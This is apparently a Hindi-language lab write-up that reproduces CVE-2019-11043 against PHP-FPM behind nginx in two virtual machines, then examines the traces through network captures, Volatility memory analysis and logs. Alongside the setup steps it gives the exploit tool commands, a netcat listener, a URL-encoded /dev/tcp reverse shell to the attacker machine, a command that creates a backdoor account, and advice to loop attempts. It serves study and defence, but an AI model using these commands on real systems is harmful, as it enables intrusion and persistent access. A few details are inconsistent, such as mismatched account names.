
व्यावहारिक प्रयोगशाला जो nginx के पीछे CVE-2019-11043 PHP-FPM RCE को पुनरुत्पादित करती है, तथा रिवर्स-टनल स्थायित्व, मेमोरी फोरेंसिक्स और नेटवर्क ट्रैफिक विश्लेषण का प्रदर्शन करती है।
अक्टूबर 2019 में, Debian सुरक्षा सलाहकार शोधकर्ताओं Emil Lerner और Andrew Danau ने Debian समुदाय को PHP-FPM में एक गंभीर भेद्यता के बारे में चेतावनी देते हुए एक सूचना प्रकाशित की। PHP-FPM के पाथ हैंडलिंग कोड में अपर्याप्त सत्यापन के कारण, हमलावर कुछ विशेष NGINX + PHP-FPM कॉन्फ़िगरेशन में विशेष रूप से तैयार किए गए अनुरोधों में हेरफेर करके दूरस्थ मनमाना कोड निष्पादन प्राप्त कर सकते थे।
यह लैब निम्नलिखित के शोषण का प्रदर्शन करती है:
NGINX के पीछे चल रहे PHP-FPM को प्रभावित करने वाली एक भेद्यता, जो ट्रिगर होने पर हमलावरों को मनमाना कोड निष्पादित करने और रिवर्स टनलिंग के माध्यम से स्थायित्व स्थापित करने की अनुमति दे सकती है।
यह परियोजना एक भेद्य वातावरण का पुनर्निर्माण करती है, शोषण श्रृंखला को निष्पादित करती है, और मूल्यांकन करती है कि विरोधी वास्तविक दुनिया के परिदृश्यों में टनलिंग तकनीकों के माध्यम से स्थायित्व कैसे प्राप्त करते हैं।
यह अटैक श्रृंखला कई उच्च-प्रभाव वाली MITRE ATT&CK तकनीकों के साथ सीधे संरेखित होती है:
स्थायित्व के लिए रिवर्स टनलिंग एक उच्च-आवृत्ति TTP (रणनीति, तकनीक, प्रक्रिया) है जिसका उपयोग APT समूहों, बॉटनेट और रैनसमवेयर ऑपरेटरों द्वारा किया जाता है। PHP-FPM उत्पादन वातावरण में व्यापक रूप से तैनात बना हुआ है, और CVE-2019-11043 द्वारा शोषित गलत कॉन्फ़िगरेशन आज भी वास्तविक दुनिया में देखे जाते हैं।
ये सैद्धांतिक अमूर्तताएँ नहीं हैं — ये राष्ट्र-राज्य अभिनेताओं और रैनसमवेयर समूहों से जुड़े सक्रिय शोषण अभियानों में प्रलेखित सटीक व्यवहारों को प्रतिबिंबित करती हैं।
हालाँकि CVE-2019-11043 कई वर्ष पुराना है, फिर भी निम्नलिखित आधुनिक सुरक्षा वास्तविकताओं के कारण यह भेद्यता प्रासंगिक बनी हुई है:
लीगेसी PHP एप्लिकेशन अभी भी हर जगह हैं। कई संगठन दीर्घकालिक वेब एप्लिकेशन निर्भरताओं, तकनीकी ऋण, या उत्पादन प्रणालियों को तोड़ने के डर के कारण पुराने PHP 5.x/7.x स्टैक चलाना जारी रखते हैं। ये वातावरण अक्सर बिना पैच के और भेद्य बने रहते हैं।
NGINX + PHP-FPM विश्व स्तर पर सबसे आम होस्टिंग आर्किटेक्चर में से एक है। यह PHP-FPM में भेद्यताओं को उन हमलावरों के लिए अत्यंत आकर्षक बनाता है जो बड़े, लंबे समय तक चलने वाले शोषण सतहों की तलाश करते हैं।
रिवर्स टनलिंग आधुनिक खतरों में एक मुख्य स्थायित्व तकनीक है। Lazarus, APT29, FIN11 जैसे समूह और कई रैनसमवेयर ऑपरेटर खुले इनबाउंड पोर्ट पर निर्भर हुए बिना दीर्घकालिक पहुंच बनाए रखने के लिए रिवर्स SSH टनल, WebSocket टनल और यहाँ तक कि PHP-आधारित रिवर्स शेल का उपयोग करते हैं।
गलत कॉन्फ़िगरेशन उल्लंघनों का #1 कारण बना हुआ है। यहाँ तक कि जब पैच मौजूद होते हैं, तब भी गलत कॉन्फ़िगर किए गए NGINX "location" ब्लॉक और खराब तरीके से सत्यापित PATH_INFO वेरिएबल वातावरण को शोषण के लिए उजागर करते रहते हैं।
शोषण स्वचालन किट अभी भी इस CVE को लक्षित करते हैं। स्वचालित स्कैनर, बॉटनेट और IoT मैलवेयर जैसे उपकरण नियमित रूप से भेद्य PHP-FPM सेटअप की जांच करते हैं क्योंकि शोषण के परिणामस्वरूप विश्वसनीय कोड निष्पादन होता है।
क्लाउड वातावरण हमले की सतह का विस्तार कर रहे हैं। खराब सुरक्षित कंटेनर, साझा होस्टिंग सेटअप और पुरानी डॉकर बेस इमेज में अक्सर बिना पैच वाले PHP-FPM संस्करण होते हैं, जिससे क्लाउड नेटवर्क के अंदर तेजी से पार्श्व गति (lateral movement) होती है।
हमलावरों को "आसान शिकार" (low hanging fruit) पसंद है। एक भेद्यता जो न्यूनतम कौशल के साथ रिमोट कोड निष्पादन + टनल-आधारित स्थायित्व सक्षम करती है, हमेशा एक उच्च-मूल्य वाला लक्ष्य बनी रहेगी।
आज के खतरे के परिदृश्य में, जहाँ स्थायी पहुंच, गुप्त टनलिंग और आपूर्ति-श्रृंखला कमजोरियाँ साइबर सुरक्षा की सुर्खियों पर हावी हैं, CVE-2019-11043 का शोषण कैसे किया जाता है यह समझना और प्रदर्शित करना आधुनिक हमले के पैटर्न और रक्षात्मक अंतरालों में महत्वपूर्ण अंतर्दृष्टि प्रदान करता है।
इस लैब का उद्देश्य CVE‑2019‑11043 के वास्तविक-दुनिया के शोषण का अनुकरण करना था, जो कुछ विशेष कॉन्फ़िगरेशन का उपयोग करते हुए nginx के पीछे PHP‑FPM को प्रभावित करने वाली एक गंभीर रिमोट कोड निष्पादन भेद्यता है। लक्ष्य भेद्यता का विश्लेषण करना, नियंत्रित वर्चुअल वातावरण में शोषण को पुन: उत्पन्न करना और गलत कॉन्फ़िगर की गई वेब अवसंरचना से जुड़े जोखिमों को प्रदर्शित करना था।
दो वर्चुअल मशीनों का उपयोग किया गया: दोनों का उपयोगकर्ता नाम username और पासवर्ड password था।
| भूमिका | मशीन | IP पता | उद्देश्य |
|---|---|---|---|
| लक्ष्य / पीड़ित | Ubuntu Server | 192.168.56.102 | CVE-2019-11043 चला रहा भेद्य PHP-FPM सर्वर |
| हमलावर | Ubuntu Server | 192.168.56.103 | शोषण, रिवर्स शेल और स्थायित्व निष्पादित करता है |
apt अपडेट करें
sudo apt update && sudo apt -y upgrade
भेद्यता शोषण के लिए कंटेनर बनाना।
sudo apt install -y docker.io docker-compose git
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043
sudo docker-compose up -d
Apt अपडेट करें, और बुनियादी php और python और अधिक पैकेज स्थापित करें
sudo apt update
sudo apt install nmap curl wget git python3 python3-pip \
netcat-traditional net-tools build-essential \
php ruby ruby-full
pip3 install requests
sudo apt install golang-go
प्रश्न में CVE का शोषण करने के लिए एक टूल डाउनलोड करता है और शोषण बनाने के लिए टर्मिनल को उस निर्देशिका में ले जाता है।
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go build
यहाँ से सेटअप पूर्ण है, उदाहरण के लिए आप पहले क्या कर सकते हैं,
एक टर्मिनल (टर्मिनल 1) में यह करें:
nc -lvnp 4444
यह एक सुनने वाला चैनल स्थापित करने के लिए है और रिवर्स शेल को सक्षम करता है, इसे हमेशा सुनते रहना चाहिए क्योंकि यह एक सैद्धांतिक प्रयोग में आगे के कमांड को सक्षम करता है।
दूसरे टर्मिनल (टर्मिनल 2) में यह करें:
cd phuip-fpizdam
./phuip-fpizdam http://192.168.56.102:8080/index.php
यह ऐसी पंक्तियाँ आउटपुट करेगा जो पुष्टि करती हैं कि आपने सफलतापूर्वक भेद्यता का शोषण कर लिया है।
अंत में एक अंतिम, अतिरिक्त टर्मिनल (टर्मिनल 3) खोलें।
आप तुरंत यह करके शोषण की कार्यक्षमता का परीक्षण शुरू कर सकते हैं:
curl "http://192.168.56.102:8080/index.php?a=id"
यह एक वेब-आधारित रिमोट कमांड बनाता है और id का आउटपुट प्रदर्शित करता है। हालाँकि जैसा कि नीचे दिया गया स्क्रीनशॉट दिखाता है, मेमोरी ओवरफ्लो के कारण, कई बार ऐसा होता है जब कमांड काम कर सकता है या नहीं भी कर सकता है, अक्सर छोटे कमांड के काम करने की संभावना अधिक होती है।
यहाँ सैद्धांतिक रूप से कोई भी कमांड निष्पादित की जा सकती है, इसे वहाँ रखा जाना चाहिए जहाँ नीचे दिया गया कमांड HERE कहता है, हालाँकि पूर्ण कमांड के निष्पादित होने की संभावना भिन्न हो सकती है
curl "http://192.168.56.102:8080/index.php?a=HERE"
यह कमांड शेल के अंदर की सामग्री को पढ़ता है
http://192.168.56.102:8080/index.php?cmd=ls
एक वास्तविक दुनिया के उदाहरण में, एक खतरा अभिनेता द्वारा यह कमांड एक नया खाता बनाएगा और उद्धरण चिह्नों में password के रूप में एक पासवर्ड सेट करेगा
useradd threat
echo "password" | passwd --stdin hacker
यह कमांड एक रिवर्स शेल बनाता है, हालाँकि यह एक अवधारणा का प्रमाण (proof of concept) है और इसे बनाना कठिन है क्योंकि PHP-FPM समय-समय पर वर्कर प्रोसेस को मारता और पुनर्जीवित करता है।
जब भ्रष्ट वर्कर मर जाता है, तो इंजेक्ट की गई php.ini संशोधन इसके साथ मर जाती हैं।
curl "http://192.168.56.102:8080/index.php?a=/bin/sh+-c+'sh+-i+>%26+/dev/tcp/192.168.56.103/4444+0>%261'"
यहाँ से एक हमलावर संभवतः एक शेड्यूलिंग कार्य का उपयोग करेगा, इस उदाहरण में CRON क्योंकि सर्वर linux पर है, और यह विंडोज़ स्टार्टअप प्रक्रियाओं के समकक्ष है।
लैब ने एक नियंत्रित वातावरण में CVE‑2019‑11043 को सफलतापूर्वक पुन: उत्पन्न किया और प्रदर्शित किया कि एक गलत कॉन्फ़िगर किए गए nginx + PHP‑FPM सेटअप का दूरस्थ रूप से शोषण कैसे किया जा सकता है। भेद्य regex-आधारित fastcgi_split_path_info कॉन्फ़िगरेशन का उपयोग करके, हमलावर मशीन PHP‑FPM को एक असंगत स्थिति में लाने में सक्षम थी, अंततः मनमाना कोड निष्पादन प्राप्त करती है। इसके अतिरिक्त, कई प्रणालियों से एक दूरस्थ सर्वर से लॉग फ़ाइलों का निष्कर्षण किया गया और इस भेद्यता से संबंधित माने जाने वाले लॉग का विश्लेषण किया गया।
एक बार भेद्यता ट्रिगर हो जाने पर, हमलावर लक्ष्य पर रिमोट कमांड निष्पादन प्राप्त कर लेता था और स्थानीय उपयोगकर्ता के रूप में सिस्टम के साथ बातचीत करने में सक्षम होता था। समझौता किया गया वेब सर्वर कमांड स्वीकार करता था, उन्हें निष्पादित करता था और आउटपुट लौटाता था — एक पूरी तरह से कार्यशील रिमोट शेल की पुष्टि करता है। इसने पुष्टि की कि भेद्य nginx पाथ-स्प्लिटिंग कॉन्फ़िगरेशन और PHP‑FPM के प्रभावित संस्करणों के साथ जोड़े जाने पर CVE विश्वसनीय रूप से शोषण योग्य बना हुआ है।
वातावरण ने प्रलेखित शोषण व्यवहार के अनुरूप व्यवहार किया। whoami, id, ls, और echo जैसे कमांड सफलतापूर्वक निष्पादित हुए, जबकि अधिक जटिल या इंटरैक्टिव कमांड ने शोषित PHP‑FPM वर्कर प्रक्रिया की अस्थिरता का प्रदर्शन किया — जो इस भेद्यता के ज्ञात प्रभावों में से एक है।
जैसा कि कहा गया है, भेद्यता की अस्थिरता के कारण, कभी-कभी यह संवेदनशील (susceptible) होती है और कभी-कभी नहीं, ऐसे समय होते हैं जब यह काम करेगी और ऐसे समय जब नहीं करेगी, लूपिंग कमांड स्क्रिप्ट करना उचित है।
यह भेद्यता एक CVE का शोषण करती है जो सीधे मेमोरी और बफर ओवरफ्लो समस्या से संबंधित है, यही कारण है कि होस्ट मशीन की मेमोरी को देखना और Volatility के साथ इसका विश्लेषण करना महत्वपूर्ण होगा।
इस लैब के लिए हमने इस भेद्यता से संबंधित मुख्य लॉग, मेमोरी और नेटवर्क कैप्चर का विश्लेषण किया।
नेटवर्क कैप्चर उन कमांडों को दिखाता है जिन्हें होस्ट मशीन पर चलाने का प्रयास किया जा रहा है। इनमें कमांड स्वयं और url के अंत में जुड़े कई अक्षर शामिल हैं, जो सर्वर पर फेंके जा रहे http get कमांड के साथ होते हैं और बदले में मेमोरी ओवरफ्लो का कारण बनते हैं।
इसके अतिरिक्त आप स्पष्ट पाठ (clear text) में चलाए गए कमांड को देख सकते हैं, इस हानिरहित उदाहरण में, google images से एक खुश कुत्ते की छवि डाउनलोड करने के लिए, साथ ही PHuip github के निर्माता द्वारा 'विनोदी पाठ' (humorous text) वाला वास्तविक कमांड भी।
Volatility द्वारा विश्लेषित और एक .json फ़ाइल में एकत्रित मेमोरी कैप्चर एक ही नाम वाली बार-बार चलने वाली प्रक्रियाओं को दिखाता है जो लगातार कई बार निष्पादित होती हैं, जो विफलताओं और पुन: चलाने का संकेत देती हैं।
यह इसलिए होता है क्योंकि मेमोरी ओवरफ्लो त्रुटि इस भेद्यता से संबंधित मूल समस्या है। जैसे कोई उपयोगकर्ता शायद एक bash स्क्रिप्ट जैसे कमांड को दोहराता है: while true; do curl "command" sleep 0.01, एक सेकंड में कई बार कमांड निष्पादित करते हुए सेंध लगाने और वह रिमोट कोड निष्पादन प्राप्त करने का प्रयास करता है।
कुल मिलाकर, परियोजना ने निम्नलिखित बिंदुओं को मान्य किया:
भेद्य nginx regex PHP‑FPM को रिमोट कोड निष्पादन के लिए उजागर करने के लिए पर्याप्त है।
PHP‑FPM 8.1 (जब इस तरह से कॉन्फ़िगर किया जाता है) CVE‑2019‑11043 शर्तों के तहत अभी भी शोषण योग्य है।
एक दूरस्थ हमलावर सार्थक कमांड निष्पादन प्राप्त कर सकता है, जिससे फ़ाइल हेरफेर, डेटा बहिर्गमन (data exfiltration) और संभावित विशेषाधिकार वृद्धि (privilege escalation) की अनुमति मिलती है।
रिवर्स‑प्रॉक्सी / FastCGI सेटअप में गलत कॉन्फ़िगरेशन एक उच्च-प्रभाव वाली हमले की सतह का प्रतिनिधित्व करते हैं, विशेष रूप से जब सार्वजनिक रूप से सुलभ अपलोड एंडपॉइंट या phpinfo() पृष्ठों के साथ जोड़े जाते हैं।
परिणाम इस बात को पुष्ट करते हैं कि उचित FastCGI कॉन्फ़िगरेशन कितना महत्वपूर्ण है और सुरक्षित डिफ़ॉल्ट, नियमित कॉन्फ़िगरेशन ऑडिट और उत्पादन वातावरण में डायग्नोस्टिक एंडपॉइंट के न्यूनतम जोखिम की आवश्यकता पर प्रकाश डालते हैं।
CVE-2019-11043 का शोषण दर्शाता है कि PHP-FPM और NGINX में एक एकल गलत कॉन्फ़िगरेशन सर्वर पर कब्ज़ा और स्थायी विरोधी पहुंच का कारण कैसे बन सकता है।
Debian सुरक्षा सलाहकार टीम ने पुष्टि की कि php7.0 को संस्करण 7.0.33 या उसके बाद अपग्रेड करना इस भेद्यता को पूरी तरह से पैच करता है।
आधुनिक वातावरण में समान हमलों को रोकने के लिए उचित पैचिंग, कठोर NGINX कॉन्फ़िगरेशन और टनलिंग व्यवहारों की निगरानी महत्वपूर्ण हैं।
| MITRE ID | तकनीक का नाम |
|---|
| T1071 | एप्लिकेशन लेयर टनलिंग |
| T1572 | प्रोटोकॉल टनलिंग |
| T1090 | प्रॉक्सी / रिवर्स प्रॉक्सी |
| T1505 | सर्वर-साइड घटक (PHP-FPM) |
| T1574 | निष्पादन प्रवाह का अपहरण |